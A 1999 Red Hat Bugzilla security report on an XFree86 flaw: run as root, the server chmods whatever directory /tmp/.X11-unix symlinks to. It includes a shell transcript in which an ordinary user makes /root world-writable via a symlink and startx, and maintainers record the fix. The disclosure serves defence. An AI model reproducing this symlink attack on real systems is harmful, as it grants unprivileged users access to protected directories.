Bug 1816 - XFree86 chmods directories symlinked from /tmp/.X11-unix
Summary: XFree86 chmods directories symlinked from /tmp/.X11-unix
Status: CLOSED CURRENTRELEASE
Alias: None
Product: Red Hat Linux
Classification: Retired
Component: XFree86   
(Show other bugs)
Version: 5.2
Hardware: i386
OS: Linux
high
medium
Target Milestone: ---
Assignee: Preston Brown
QA Contact:
URL:
Whiteboard:
Keywords: Security
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 1999-03-26 16:04 UTC by Bourne, Jim
Modified: 2008-05-01 15:37 UTC (History)
2 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 1999-03-30 21:01:00 UTC
Type: ---
Regression: ---
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Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


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Description Bourne, Jim 1999-03-26 16:04:29 UTC
Following a bugtraq report of NetBSD X11 chmoding /root to
1777 by following a symlink in /tmp I tried it under Linux.

This is an XFree86 bug, and because it sets the permissions
on /tmp/.X11-unix as root, the server will chmod any
directory symlinked from that directory in /tmp.

It has been confirmed on i386 platform but will likely
effect all platforms.

********************** example ********************
bash$ id
uid=543(tester) gid=100(users) groups=100(users)
bash$ pwd
/home/tester
bash$ cd /tmp
bash$ ls -la
total 3
drwxrwxrwt   3 root     root         1024 Mar 25 19:11 .
drwxr-xr-x  18 root     root         1024 Mar 24 10:50 ..
bash$ ls -ld /root
drwx------   5 root     root         1024 Mar 25 19:02 /root
bash$ ln -sf /root .X11-unix
bash$ ls -l .X11-unix
lrwxrwxrwx   1 tester   users           5 Mar 25 19:47
.X11-unix -> /root
bash$ startx
(X output removed)
^C
waiting for X server to shut down

bash$ ls -ld /root
drwxrwxrwt   5 root     root         1024 Mar 25 19:47 /root

******************** end example *************************

I have also submitted this to xfree86@xfree86.org

Comment 1 Preston Brown 1999-03-29 17:21:59 UTC
fixed in XFree86-3.3.3.1-31 and later.

Comment 2 Preston Brown 1999-03-29 17:23:59 UTC
We will be putting out a fix for XFree86 on Red Hat 4.x and 5.x later
today, in addition to the fixed package which exists in RawHide right
now.


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